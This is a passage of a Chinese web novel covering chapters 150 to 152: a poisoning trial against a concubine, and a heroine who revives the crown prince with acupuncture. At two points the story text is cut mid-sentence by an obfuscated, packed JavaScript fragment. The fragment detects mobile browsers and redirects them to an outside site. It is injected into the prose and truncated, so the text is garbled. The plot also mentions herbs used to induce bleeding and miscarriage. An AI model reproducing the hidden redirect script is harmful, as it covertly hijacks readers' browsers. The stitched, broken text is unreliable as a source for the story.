孙府尹一拍惊堂木,这五人便把所有事情前后都交代了,还说:“当日给我们钱的妈妈手腕上有颗长毛的黑痣,当时小的带着兄弟们还偷偷跟了老妈妈一截路,见着她一路回了李大人府上,我们当日问了周围,打探的十分清楚,那确实是李家。” “李大人,你家哪位妈妈手腕上有黑痣?”孙府尹便问李珺。 李珺哪里会知道哪个妈妈手腕上有痣? 但是孙大娘子可知道! 她意识到了什么,这是一个绝无仅有的好机会!于是孙大娘子立刻做出一副惊讶的表情,孙府尹意识到了,立刻便问:“孙娘子,你知道什么?” 孙大娘子便做出一副惊慌的表情去看李珺,李珺生怕孙府尹怀疑,便立刻皱眉呵斥,说:“你知道什么,只管说出来!” 孙大娘子这才立刻做出吓到的表情,说:“方才我才想到,家里崔小娘身边的贴身伺候的姜妈妈,是手腕上有一颗黑痣……只是崔小娘素来大门不出二门不迈,也与大姑娘没有什么来往,想来应不是姜妈妈。” “那位姜妈妈在何处?”孙府尹一问,立刻便有人去叫在外头等着伺候的姜妈妈。 等到姜妈妈一进门,霍三毛等人几乎瞬间就指着她大喊:“是她!就是她叫我们去八仙庄卖断肠草的!” 姜妈妈一见到几人,登时脸色也是瞬间惨白! 她瞬间无助地朝着崔小娘望去,孙府尹立刻发现了猫腻,一拍惊堂木,说:“姜妈妈,你在看谁?是谁指使你找人毒害李家大姑娘?!” 姜妈妈浑身一抖,双膝一软立刻跪下,连忙流泪说:“我、我不知道,老婆子是冤枉的啊大人!” “就是她!那断肠草都是她给我们的!”霍三毛立刻指着姜妈妈说,“我们都是江淮一带的流民,根本没地方找到断肠草和蘑菇,当时那妈妈派了人给我们弄好的背篓和竹筐,里面断肠草、蒌蒿和蘑菇都是一个乡民给我们送来的,那乡民说话口音是京师安平县附近的,有人叫他李狗儿!大人你不信可立刻去寻人!” 此话一出,姜妈妈登时瘫倒在地。 “即刻着人去捉拿李狗儿!”孙府尹一看自然什么都明白了,立刻拍板缉拿,而后对着姜妈妈说,“姜妈妈,你现在招,还是等着那李狗儿被缉拿之后再招供?” 姜妈妈嘴唇哆嗦,孙府尹立刻说:“此刻招供,本官或许还能酌情判案,若是等到李狗儿来,那便不再算你主动招供了!” 这话一出,姜妈妈心中更是惶恐万分。 她又看向崔妙人,崔妙人拉李珺,眼圈一红说:“夫君,姜妈妈定然是被人利用了!求求你救救她,她日日和我在一起,何必去做这样的事情?害了大姑娘,对我和姜妈妈也没什么好处啊!” 李珺闻言,立刻开口问姜妈妈:“姜妈妈,这到底是怎么回事,若是有什么冤屈,你便直接说出来,自有大人为你做主!” 姜妈妈闻言,心中左右为难,最终眼睛一闭,咬牙说:“老婆子不过是因为与大姑娘吵架,所以才做出这样的事情,一概事情与我主子无关!” 此话一出,便是认罪了。 “姜妈妈,你怎么这么傻!”崔小娘立刻流泪,说,“不过是被大姑娘申斥两句而已,你怎地就这么糊涂啊!” 真正是个反应快又心肠坚韧狠毒的人,不过是一瞬间,便已经决定好弃卒保车,而且还主动把此事坐实。 要知道姜妈妈可是崔小娘身边陪着最久的贴心人,这样的人,也能随手就舍弃。 关怀素心中暗想,可惜了,就是太急了些,如此迅速,叫姜妈妈如何想? 果然,原本一脸坚毅的姜妈妈听到崔小娘的话,登时脸上浮现出诧异之色,而后低下了头。 自个儿想为主子顶罪是一回事,主子立刻便下死手、一点也不念旧情,又是另外一回事了。 不过,关怀素也不是没有准备,她早知道事情会这么发展。 只是她没想到,她正要说话,却听到外头传来一个女子清脆的声音:“她说谎!”
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“便是蓬门荜户,也没得拿走孩子长命锁的道理!这可是日后陪嫁都要戴着,要保佑孩子一世的东西呢!”有人便摇头,非常不忿地说。 “是啊,便是咱们这种穷苦人家,家里后娘都不敢把人家前头孩子的长命锁拿去给自己个孩子,不然不是让人戳脊梁骨么!”还有人接话。 孙大娘子脸皮都烧热起来,立刻说:“孩子小时候是会争闹,但是我早已经全部收好了,已经都还给关姑娘了!” “是啊,孙娘子上个月确实把我姐姐幼时的那套首饰还回来了。”关怀素点头,说,“在十几年后,发现我不听话,关娘子把这套东西送过来,说她早知道了我的身份不对,让我乖乖嫁人,否则就对老爷揭穿我的身份!” 这话一说,孙大娘子立刻神色巨变! 她紧张地看向李珺,果然看到李珺神色十分难看。 “过了十几年才还这么点东西,那当初被抢走的其他值钱东西,肯定也没还了。”孙丽娘冷笑一声,说,“反正我前些日子还见到婉淑出门晒妆,晒的东西里面,还有婉玉姐姐的东西,有些还是关娘子当初的嫁妆呢!” 众人登时都窸窸窣窣地说起来,拿死去嫡妻的嫁妆给继女发嫁,这是极其不讲究的人家才会做的。 尤其是李珺如果还真和关娘子约定,要把嫁妆还给大姑娘的前提下还做这种事情,可见人品低劣到了什么地步。 “孙姑娘,你不要血口喷人!”李珺忍不住开口,愤怒地说。 “好了,多谢丽娘妹妹为我作证。”孙丽娘说得差不多,关怀素立刻上前护她。 “我说的句句属实!不信只管去问我们相熟的姐妹,问问大家婉玉姐姐是过的什么日子!”孙丽娘大声说,“也就李大人你装聋作哑,假装不知道!实际上李家所有人都在欺压婉玉姐姐一个孤女!当初她因为几句流言被送去庄子上,一去半年,过年都没被接回来,你敢说你关心婉玉姐姐?你敢说你不是想让她和关娘子一样死在八仙庄上?!” “够了!”孙府尹看丽娘说的太狠,立刻轻拍惊堂木,然后压低声音对丽娘说,“好了好了,差不多行了。” 关怀素立刻拱手,说:“孙府尹,我还有证据,证明崔小娘不但身边的妈妈**我姐姐,且她还指使人毒杀我娘!崔小娘并不无辜,她一直在斩尽杀绝!” “我没有!”崔妙人看着孙大娘子争吵,本来还松了口气,以为自己的事情过去了。 没想到却突然听到关怀素又把矛头指向了自己,她立刻尖声反驳! “你有何证据?”孙府尹问。 “我有!请府尹传唤证人姚妈妈!”关怀素说! 崔妙人的脸色一下子变成惨白。 姚妈妈,正是之前她派去伺候宁小娘,在宁小娘落胎之后,她立刻送去庄子上的妈妈。 庄子已经卖出去好几个月,她忙着伤心,而后紧接着家里各种大事,她完全忘了还有个姚妈妈! 在看到完全没想到过的姚妈妈居然出现在公堂上的时候,崔妙人不可置信地看向了关怀素。 她不是蠢人,她几乎就立刻意识到了——弟弟受骗、全家卖了庄子逃走……这一切的背后,居然都是关怀素! 崔妙人又气又害怕,浑身发抖,她不敢置信关怀素居然城府深到了如此地步! 这么重要的把柄,她居然能一直死死地扣押着,到了这个时候才全盘托出! 崔小娘看着关怀素,关怀素也看着她。 这个当初与母亲明争暗斗、最后自以为是赢家的女人,她看着崔小娘,点头致意。 终于到了这个时候了,崔妙人,该为你曾经做的一切付出代价了。 第一百五十章 崔小娘入狱 姚妈妈在李家伺候多年,崔小娘当初用完她之后,便把人送去庄子上,虽然早年赏了钱财也安排了职位,也让这姚妈妈十分满意,觉得自己跟对了主子。 但是问题是,当崔家人过去接手庄子上的事情之后,一切就不一样了。 崔家人口多,父母兄弟还有长大的孩子,想过得好又想积攒钱财给自己攒出家底,对下面的人自然也就会紧缩很多。 崔小娘这些年天高皇帝远,根本不知道崔家在庄子上盘剥得十分厉害,或者是知道也不在乎。 这姚妈妈一家都在庄子上,日子越过越苦,心中早已经是大为后悔! 到了这个时候,自然也不会替崔妙人隐瞒,进来跪下就说:“回禀青天大老爷,当初关娘子死前,老爷去找王相求了五十年的老姜黄回来,当时便是崔小娘派人从外头买了三棱和莪术,炮制成片,之后便跟着老夫人过去探望关娘子的时候,悄悄换走了关娘子的药!” 说完伏地说:“当初关娘子产后本来已经快好,便是被换了药,才会一直下红不止而死的!” 此言一出,登时满堂皆惊! 孙府尹一拍惊堂木,说:“姚妈妈,你可有证据?!否则随意污蔑主人,可是大罪!” 大家都看着姚妈妈,崔妙人面上平静甚至还委屈,但是脑子里拼命思考,想着自己有没有留下任何证据,过去十几**情,她真的也没记忆了。 “回大人,老婆子现在手上没有证据。”姚妈妈这么一说,崔妙人登时松了口气。 “可是宁小娘落胎之后,崔小娘叫老婆子临走之前换掉家里库房的姜黄,老婆子当时留了个心眼,在下面的隔板下头,贴了一块莪术,便是后来又换了药,这地方一般没人会查,应该还在原地。大人若是不信,可派人去查看李家府库,可作为我换药的证据!”姚妈妈说完,额头叩首在地。 “既然如此,为了你家小娘的清白,李大人,可否派人去你家中查看一番?”孙府尹立刻问。 李珺点点头,自信地说:“可以。妙人与我自小一起长大,我相信她的为人!” 崔妙人却神色紧张起来。 关怀素心中冷笑,此事李珺未必便不知道,她压根不相信,不过她发难突然,他们没有准备,此刻便只能眼睁睁看着罢了。 她今日要崔妙人亲眼看着,看着李珺到底如何割舍她的。 捕快很快带回了证物。 “妾身是被冤枉的!当时她伺候宁小娘不得力,我想着她也是可怜,才把她送去我的庄子上,谁知道她竟然心怀不忿,这样冤枉我!”崔妙人眼见不对,立刻跪在地上,哭出声来! 她本就生得鲜艳妩媚,一哭更是芍药带露一般,别说李珺心疼,便是外头的百姓看着,都觉得她十分可怜。 “是啊,这物证只能证明这姚妈妈换过药,又关妙人何事啊!”李珺也说。 正在这个时候,却听到外头歇斯底里的一句喊话:“妾身要告发李婉淑下毒,毒害我未出世的孩儿!” 众人回头一看,竟看到一个脸色惨白的女人。 这女人脸生,便是关怀素也不认识。 一直坐在关怀素身边的孙丽娘捏了捏关怀素的手,关怀素这才意识到——这是孙丽娘的安排! 她沉默看着那女子被领进门之后,立刻跪在地上痛哭,自述身份,说自己是赵二郎的通房,她说自己确实早就开脸伺候少爷,在大娘子进门之前已经有孕足足六个月。 “赵家仁善,怜悯我们母子,便告诉我,生下孩子之后便要给主母抚养。婢子知道,这已经是天大的福气,在主母进门之后,日日小心伺候,主母也对我极其和颜悦色,甚至拿出自己的钱财给我买补品,令我十分感动……”这自称娟儿的丫头说到这里,泪如雨下,说,“我心怀感恩,丝毫未曾怀疑,结果没多久就开始下红,到了前日,竟然小产,生下死胎……那是个已经成型的男孩儿,足足六个月,再有一个月便能活了!” 说到这里,娟儿眼睛发红,流泪说:“我以为是自己命不好!结果昨日我才知道,原来那补品药膳里头的药材被李婉淑换了!她用了莪术和三棱换了姜黄!那两个东西都是破血之物,寻常妇人若是月事吃了都会月事止不住,更何况是孕妇?!求大人为我做主!” 孙府尹听到这里,神色古怪地看着李珺。 实在是这边刚审问出来崔小娘是如何害人,那边李婉淑就已经又干了一次,还是一模一样的手法,叫人无论如何不能说他家清白无辜。 便是外头看着的百姓也说:“这估摸是李家老夫人就会的手段,不然小娘和后娘的女儿都会这招?” 还有人说:“得小心些,指不定李家的女儿都会这招呢!” 李珺只觉得面皮火辣辣的,孙府尹立刻说:“把娟儿、崔小娘收押,叫给娟儿接生的稳婆来回话!待查清再审!” 如此一来,尘埃落定,崔妙人今儿出门的时候完全没想到,她居然会被留在府衙大狱,一时惊恐交加。 关怀素冷眼看着这个一直鲜艳妩媚的女人第一次露出真正恐惧的神色,她害死母亲和姐姐的时候,也没想过自己会有这一天吧? 崔妙人被带下去,关怀素被孙丽娘扶着出门,二人走出去,关怀素才问:“娟儿是怎么回事?” “良娣安排的。”孙丽娘小声说,“婉淑太狠了,打了孩子还没断了娟儿的药,愣生生弄得她差点大出血而死,良娣说,她万千不是,到底好歹也是条性命,刚巧叫她帮了姐姐,日后离开京师,带着钱和娘老子去老家过日子。” 虽是如此说,赵白芷显然也是怕她落入下风,所以才亲手如此安排。 “她这么忙,还为了我这些小事烦扰。”关怀素心中感动,感谢之后,看着孙丽娘离开。 而后柳叶问:“姑娘,接下来怎么办?” “算算时间,这时候差不多快马也早到河北了,一切顺利的话,侯爷几日之后便能带着闵叔叔回京。”关怀素看着远方,那是河北的方向,她轻声说,“等着,等到闵叔叔回京,一切自然便可以大白天下。” “有证人还有当年药方,到时候看李家还怎么抵赖!”柳叶兴冲冲地说。 关怀素也点头,轻声说:“闵叔叔前几年还见过姐姐,他手上未必就没有关键的证据。” “姑娘开心点,至少咱们为大姑娘和娘子报仇了,老虔婆**,这崔妙人现在已经下大牢了!”柳叶开心地说。 “希望陈渠能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16512453|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给我些好消息,李珺唯一有几分真情的人,便是他娘,若是能找到她的死因,我或许还能有办法再弄些动静出来。”关怀素眯了眯眼睛,轻声说。 她却没想到,等了两天,没得到闵叔叔的消息,倒是接到急报——周乐天遇到山匪,下落不明。 得知消息的第一时间,关怀素大脑一片空白。 “不可能!”关怀素的第一反应就是这个,她不可置信地说,“侯爷带了八百精兵,京师到河北都是天子眼皮子底下,八百上过战场的百战精兵,怎么可能无缘无故会出事?” “回姑娘,传话回来,说是侯爷一路顺利,结果回来的时候遇到两拨埋伏,好容易打杀一波,却在过渭水的时候遇到一波蒙面死士伏击,那波死士对当地极其熟悉,且还擅水战,侯爷猝不及防,猛不丁着了道。”管家迅速说完,又安慰关怀素,说,“不过姑娘放心,虽是中伏,但是身边弟兄们都跟着,想来只是失散了,应是过几天便能找到。” 可是,可是周乐天擅长的是马上功夫,他怕水啊! 关怀素想到这里,心中登时满是惶急,但是如今这个时候,不是哭啼的时候,她不敢心中乱想,也不敢想周乐天如今可还好,只强迫自己冷静地问管家:“殿下知道这事儿吗?” 管家点头,轻声说:“昨儿半夜殿下被圣人召进宫了。” 关怀素点头,既然圣人和大长公主都在处理,她也能稍微按捺住担忧,只是心中依然沉甸甸的。 “姑娘,怎么办,闵大人失踪了,侯爷也不在,咱们没有关键性的证据,这事儿如今怎么弄呢?”柳叶一下子慌了。 “你去叫人给陈渠带个话,让他动作快些!”关怀素咬唇,轻声说,“为今之计,只有叫崔妙人先乱了,能反口咬一把李家试试。” 吩咐完,关怀素在屋里紧张地枯坐了半天,实在是坐不住,便对柳叶说:“不行,我得去良娣那边问问。” 她不能再坐在屋里等了,哪怕知道有些事情不该打听,可是只要一静下来,便总是晃过周乐天那张苍白的脸。 他那身子才稍微好一些,如今入秋,渭水寒凉,再过一月都是要结冰的时候了,若是真的在渭水落水,也不知到底还抵不抵得住。 “姑娘,闵大人找不回来,李家的事情就麻烦了,咱们这时候是不是该和县主商量一下办法?”柳叶提醒。 “我知道。”关怀素沉默一下,眼圈微红,说,“可我现在想不了这个,柳叶,你能明白吗?” 柳叶一听,默了一下,而后叹了口气,一脸老成地说:“当初咱们一起趴墙角偷听老太爷断案,您不是和我说,这男男女女、情情爱爱,真是耽误事情,这辈子绝不会变成这样的人么?” 柳叶看着关怀素,摇头说:“你看,到了现在,姑娘再聪明也没用了,变成糊涂蛋了。” 关怀素叫她这么一说,想到儿时趣事,登时“噗嗤”一声笑出声来,说:“是是是,现在柳叶大人才是高瞻远瞩,聪慧冷静第一人!” 柳叶看她笑了,也笑出声来。 二人苦中作乐,收拾一下,便匆匆递了拜帖,而后直往太子府而去。 关怀素万万没想到,此次拜访,竟是刚巧撞到了大事! 第一百五十一章 施针 关怀素到了太子府,还没和赵白芷聊两句,马上有人冲进门惊恐说:“良娣,太子刚到家门口,突然昏倒了!” 在场之人登时都悚然而惊。 “发生了什么事情,早上不是还好好的吗?”赵白芷一听,惊得立刻问。 “太子早上还去城外跑马,半路上说脑子昏沉,许是没休息好,便回来打算歇歇,结果进门突然就倒了!”老嬷嬷紧张得脸色都发白,说,“方才叫人扛着进屋躺着,人没清醒,已经叫人快马加鞭给宫里送信了!” “妹妹,快些去看看,赶紧安排郎中,把家里门户都看紧了,快些等着迎接圣人!”关怀素看赵白芷惊得满脸是汗,差点没站稳,立刻一把扶住她,连忙嗓子发抖地提示。 太子是唯一的储君,若是出事,便是动摇国本的大事! 说句不好听的,这时候还不是赵白芷能放任情绪的时候! 赵白芷显然也十分明白,只是关心则乱,但她稍微被提醒,立刻便清醒过来。只是她还是受惊,脚有些发软,便干脆扶着关怀素的手,勉强冷静下来,说:“去,按怀素姐姐的吩咐办事!” 宫人们都行之有素,立刻便飞快动作起来。 关怀素便扶着赵白芷,立刻赶往正院。 一进屋子,便看到了太子躺在屋里,此刻脸色发白,面如金纸,昏迷之中亦是眉头紧蹙,瞧着就十分痛苦的样子。 赵白芷眼泪一下子下来了,哭着上前给太子擦冷汗,又问下人:“怎么回事,太医怎地还没来?可查了,是**还是什么?” “路上已经传信了,太医应当快到了!”下人急忙回答。 关怀素瞧着不对劲,果然下一刻,床褥上的太子突然抽搐起来! 屋里人都惊了一下,赵白芷更是连声呼喊:“殿下、殿下您怎么了?!” “白芷妹妹,快让开!”关怀素瞧着不对,立刻上前看了一下,而后猛地出手,捏住了太子后脖子的穴位。 才捏了一会儿,太子就的抽搐就止住了,软绵绵地倒在床上。 赵白芷登时目露希望之色,对关怀素说:“姐姐,你知道殿下这是怎么了?” 关怀素犹豫了一下,看看满屋子伺候的人。 “你们都出去!”赵白芷立刻吩咐。 下人们巴不得,立刻全数连滚带爬地出去,屋里只留下了关怀素和赵白芷二人。 “姐姐,你快告诉我,殿下到底是怎么了?!”门一关上,赵白芷立刻便问。 “殿下瞧着是惊风之症。”关怀素想着太子一直以来的各种表现,再加上这个惊风之症的样子……她心里有了猜测。 关怀素看着赵白芷,咬了咬牙,轻声问:“妹妹,你老实跟我说,早年殿下是否曾遇到什么事情?” “什么意思?”赵白芷茫然地问。 “就是、就是殿下,小时候是否其实思绪说话一如常人,而后应当是受了伤,尤其是头磕伤或是被人砸到过,才开始有这七情不开之症的?”关怀素压低声音说。 “这、这我不知道啊!”赵白芷回忆了一下,而后摇头。 “那殿下可是平素稍一思索什么事情,便会头痛欲裂,若是不想便无事了?”关怀素问。 “对!对!”赵白芷立刻激动地点头,连声说,“姐姐你难道知道这是怎么回事?!” 关怀素正要答话,突然听到门口传来一道声音! 门口有人偷听! 关怀素和赵白芷都一起收声,赵白芷怒气冲冲,大声呵斥:“谁?!” 下一瞬间,门打开,赵白芷却猛地蹲身行礼,惊慌地请安:“圣人安康,方才不知是您……” 她解释到一半,却猛地被阻止。 圣人抬手止住了赵白芷的话,只踱步进门,看着关怀素,问:“关家小丫头,你知道我儿是什么病?” 关怀素也是惊呆了,她竟然一时都忘了行礼——实在是这个圣人,长得竟然与她前不久在药铺前见到的老翁一模一样! 那日她见到的便是当今圣人?! 她居然跟当今圣人说他可能命不久矣,活不过今年冬天? 关怀素只觉得一身的冷汗,吓得“咚”的一声就跪在地上,颤声请安:“圣人、圣人安康。” “回答我的问题。”圣人盯着她,厉声催促。 “臣女、臣女说不准,只是曾听郎中爷爷提起过,他行医天下,确实见过这样的症状,乃是头颅受创之后,头内淤堵所致。”关怀素逼迫自己冷静下来,快速回答,而后伏跪在地上,不敢再说话。 “你有办法?”圣人盯着关怀素,问。 关怀素心一横,抬头说:“方才臣女替殿下号过脉,殿下脉象虚浮、又、又似乎发了惊风,寻常汤药已经无效,只能行金针刺穴之法,可、可……” “可是这风险极大,若是不行,只怕便有性命之虞,可对?”圣人盯着关怀素,缓声说。 关怀素明白,这事情圣人竟然知道,于是便伏跪在地,颤声说:“是、是,所以不到万不得已,不能行此险招。” “那你告诉我,如果现在不管,钰儿可是无事?”圣人继续问。 怎么可能无事,太子已经到了发作惊风,就说明脑内的淤堵已经到了极限,再不用金针刺血拔淤,只怕再发作几次,就要暴亡了! 关怀素立刻把可能性说了,她紧张得几乎在发抖,但是她又瞬间意识到——这是个绝无仅有的好机会!!! 想到这里,关怀素眼中闪过厉色,立刻说:“圣人,我会、我会三针,若是手边有针,我或许可以一试!” “我在外游历时,也曾用此针法救过百姓!”关怀素说完,怕圣人不放心,立刻说,“只是入京没有带针,若有金针,臣女可以一试!” 看赵白芷和圣人都犹豫,关怀素咬牙,说:“若是不治,再发作一次,只怕殿下日后便药石无灵了!” “圣人,让怀素姐姐试试吧!”赵白芷听到这里,泪水登时涌出来,她哭着对圣人说,“殿下发作得急,满京师也没别的太医会公孙先生的针法,如今只能赌一把了!” 圣人深吸一口气,却还是压不住颤抖的声音,说:“去,叫人快马,送闵太医那套备用的金针来!” 太子的寝宫与内宫不远,很快宫人便飞快送来了金针。 一卷金针打开,关怀素看着,轻呼一口气。 这套针法,原是公孙爷爷让她学着玩的,她年幼久病,心腑之疾太重,冬日门都不能出,百无聊赖,老人们便用尽一切办法想叫她开心些。 只是公孙爷爷的针法太难,哪怕她天资聪慧,但是到底资质有限,学到三针已经是极限。 这些年游历,给百姓治病的时候,当然也用过金针之法,但是如今一年多不曾动手,猛地开始,关怀素真的心中担忧。 可是第一针七支长针下去,到底是自小学的本事,她便慢慢稳了下来。 第二针的七支短针也扎下去,太子依然没有反应,却已经眉宇放松下来。 第三针的针慢慢地扎完,二十一针全数扎下去,太子殿下依旧没有反应。 赵白芷捏帕子的手指都已经发白,眼泪都只敢无声流着。 好在天可怜见,皇家还是有些气运。 太子微微动了动手指。 圣人和赵白芷都大喜,关怀素立刻退到一侧。 太子睁开眼睛,看到赵白芷流泪,立刻着急地唤赵白芷的闺名问:“三娘,你怎么哭了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16512454|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵白芷心中从极紧张到一下放松下来,眼泪串珠一般落下,哑声哭着说:“殿下,你现在可好些了,身上还有什么不适吗?” “没有,我早上就觉得头晕呢……父皇,你怎地也在?”太子惊讶地看到了榻上的父亲,登时着急地坐起来! 结果他起来得太急,猛地头针扎一般剧痛! “别动,小心,你头上扎了针!”赵白芷见他抬手,立刻拦住他,又转头问关怀素,“姐姐,如今要怎样?” 圣人也回头看着关怀素,都等着她的回答。 关怀素咬牙,轻声说:“如今殿下应是过了最险的一关,但是,但是这依然是一时权宜之计,必须快些让闵叔叔施针,才能叫殿下保住性命……” 圣人点头,关怀素又说:“针法我实在是不会了,但是拔针之后,殿下可能会头痛,我这有道方子,是心腑剧痛时的安神药。” “这是公孙爷爷在乡下收到的失传的麻沸散方子,爷爷自己琢磨改制之后的药方。虽不至于叫人完全失去知觉,但是能叫人十分舒服入睡,只是需要极多稀罕药草,非寻常人家能得。”关怀素解释完,又对圣人请罪说,“这方子上回我没说,是因为药材实在是罕见,且需要长期吃,用来温补心腑,耗费千金,或能延寿两三月……” 寻常人家是绝不敢这么吃药的,便是富贵人家,也极难舍得吃这么金贵的药,就为了延寿一点时间。 哪怕是当年关怀素,也是差点掏空了公孙爷爷多年储存的药材库,才留下了这条小命。 但是若是天子,那就完全不一样了。 尤其是现在这种时候,两三个月,或许就是完全不一样的结局! 但是这话说得太大胆,只差当面指着圣人的鼻子骂他命不久矣,所以关怀素说完,便跪倒在地,不敢多说。 她不是无事邀功,没事冒着性命危险给太子施针,又冒着大不韪地给圣人献出药方。 实在是她必须要赌这一把! “你说的是真的?”圣人果然立刻被吸引住了,而后再次问,“好,你今日连番立功,想要什么赏赐?” “臣女不敢!臣女先前不知道闵叔叔竟是为了圣人和殿下出门历练,前些日子竟派人去接应闵叔叔,结果暴露了闵叔叔的踪迹,引来**烦!”关怀素找到机会,立刻说,“若不是臣女莽撞,此刻闵叔叔已经回京了,哪里会让殿下和圣人头疼?臣女如今所做的一切,不过是亡羊补牢罢了!圣人不降罪已是仁慈,臣女不敢邀功!” 是的,方才关怀素抓紧机会接连冒险办事,就因为这一件事情罢了,她一直记得这事儿,可不敢一丝一毫忘却。 “你是个聪明姑娘。”圣人听她这么说完,说。 关怀素登时心中松了口气,她知道,圣人的意思是不会迁怒她的莽撞了。 因此听到圣人夸奖,关怀素立刻蹲身说:“是圣人仁慈,不怪罪臣女,否则臣女蠢钝,办错如此大事,实在是罪该万死!” “行了,这也不是你的错。”圣人看着关怀素,说,“你也不过是被牵连罢了。” 说到这里,此事终于算是过去了。 关怀素松了口气,立刻点头,说:“多谢圣人仁慈!” 而后又说:“药方子我随后便呈给良娣,圣人您若是心腑不适,我亦可以稍微为您施针,虽不起什么大作用,但是配合上药方子,也是很有裨益的。” 圣人点头,神色愈发缓和,说:“这便很好,日后有需要,我叫白芷安排。” 赵白芷立刻起身应是。 太子殿下看着这一切,突然说:“是谁在背后谋划这一切,一再如此追杀闵太医,是不是就是在等着今日?” 这句话一出,众人齐齐一愣! 第一百五十二章 太子妃 “钰儿,你说什么?”圣人惊讶地回头。 “父亲,你以往都是冬日比夏日病情凶,今年你夏日就发作得厉害,稍微知道些的人,都知道你今年大约必要召回闵太医。”太子皱眉,说,“我怀疑在此之前,就有人在筹谋此事,否则短时间之内,不可能次次行事都如此决断,毕竟死士可不是那么好豢养的!” “你说得极是!”圣人颤声说,“钰儿,你好了?” “啊?”太子茫然地问圣人,“父亲在说什么?” 圣人回头看关怀素,关怀素心中已经有些明悟,她立刻请安说:“殿下、殿下您觉得,此事可能是谁在背后运作?” “敢在京师附近调动人截杀兵卒,最主要是还能让表哥都防备不及……背后之人可谓是手眼通天。”太子皱眉,说,“此人所图甚大,只怕还有其他倚仗,父亲,这里头或许还有些老人……哎呀,我的头好痛……” 说到这里,太子突然露出痛苦之色。 关怀素立刻上前,说:“殿下,臣女为你拔针!” 说着话,她轻声引导:“殿下别碰到针,会弄伤您的。” 说着,她开始一一拔针,到最后,关怀素轻轻给太子按压后头的枕穴,感觉太子慢慢地迷糊起来,她才悄然起身,一路出了房间。 圣人和赵白芷都出来,到了正厅,赵白芷便问:“姐姐,殿下这是怎么了?” “我看你方才处置钰儿的头疼,竟像是十分纯熟。”圣人坐在太师椅上,盯着关怀素问,“刚才你问良娣,钰儿是否儿时一切与常人无异,后来头部受伤,才有了七情不开之症。” 圣人盯着关怀素,问:“你有什么想说的?” 关怀素立刻恭敬请安,回:“想来闵叔叔应也跟圣人说到过这样的情况。” 圣人不出声,关怀素知道自己猜对了,便连忙说:“殿下应是幼时受了伤之后,脑内淤堵,造成了头疼之疾,此疾其实并非天生的七情不开,只是患病后不可思虑,否则便容易剧痛。” 圣人还是沉默,关怀素咬牙,便说:“而且天佑大夏,这些年许是温养得很好,这次殿下稍微梳理,便能思虑无忧,想来应当是脑内淤堵其实已经散了不少,早已经减轻许多,这回因缘际会,若是能彻底拔淤,殿下或许能完全恢复。” 这话让圣人登时浑身一震! 他失声问:“你所言是真?” “回圣人,若是之前,臣女不敢确定,可今日殿下稍微施针,便能思虑如常,臣女有五成把握,只要有人能施针,殿下定然能逐渐好转!”关怀素立刻跪在地上,郑重地说,“只是在这期间,殿下会伴随头部剧痛,这期间种种,只能殿下自己忍耐,若是、若是忍耐不住……只怕也有性命之危。” 圣人点了点头,沉声说:“此事闵太医也和我说过,他原先在时,也考虑过要不要施针,只是钰儿当时情况比现在差许多,头痛至极,绝不愿配合施针,我又怕他出事,只能一再拖延,没想到……竟已经到了如今。” 圣人叹了口气,心中悲凉。 这是他唯一的儿子,如果可以的话,他或许愿意一辈子为这个儿子遮风挡雨,叫他不用受痛苦地快活一生。 可是他是太子,他若是不立起来,等到天崩之日,就是他身死之时了。 在场众人都明白圣人的心思,却也不敢搭话。 圣人已经下定决心,便对关怀素说:“我知道了,你出去吧。” “是。”关怀素立刻主动保证,“今日之事,除了臣女,绝不会有任何人知道。” 圣人看她乖觉,点了点头,脸色稍霁。 关怀素忍了又忍,终于在临离开之际,还是小心地问了一句:“圣人,不知可有闵叔叔他们的消息?” 赵白芷一愣,因为此时问这个话,实在不是好时机。 但是她却立刻反应过来,轻声说:“是啊,圣人,不知闵太医可好,乐天哥哥他可好?” 这种事情,只有当今圣人才会知道最新的消息。 “我还以为你不会问了。”圣人不知为何,面色却突然一下子缓和下来,看了看赵白芷和关怀素,突然问关怀素:“你问的是你闵叔叔,还是问乐天?” 关怀素咬牙,轻声说:“臣女、臣女的师兄也在其中,侯爷救了臣女一命,闵叔叔是我母亲的好友,也是为臣女所连累,臣女都十分担心。” 圣人似乎在看着她,分辨她的想法。 而后关怀素听到圣人突然说:“你是个很好的孩子,和你娘很像。” 关怀素不解,也不敢直视天颜,便垂目等着圣人继续说。 “当年我问过你娘,可愿意留在宫里。”圣人轻声说。 这事儿京师有传言,但是从未坐实过,如今圣人却径直开口,证实了传言非虚。 圣人说完,对关怀素说,“你娘若是在宫里,有熟悉的人护着,想来不会那么年华早逝,你和你姐姐也能一起长大。” 关怀素不理解圣人说这个到底是什么意思,赵白芷却默默捏紧了手帕。 果然听到圣人说完,问关怀素:“你可愿意到太子身边服侍?” 关怀素震惊,连忙跪在地上,颤声说:“圣人在上,臣女乡野长大,不懂礼数!再说,再说臣女不通音律,绝对不会为殿下所喜!” 好在圣人似乎只是随口问一句,听到这里,便说:“也是。” 说完,圣人似乎在开玩笑,站起身说:“起来吧,朕与你母亲也是一起长大,在朕面前不必拘礼,随便说说家常话,何至于让你这孩子吓成这样。” 又对关怀素说:“朕乏了,和我一道出门吧。” 赵白芷忙起身相送,关怀素便陪着圣人,一路出门。 走到半路,圣人突然叹了口气,对关怀素说:“刚才是不是吓着你了?” 关怀素忙摇头。 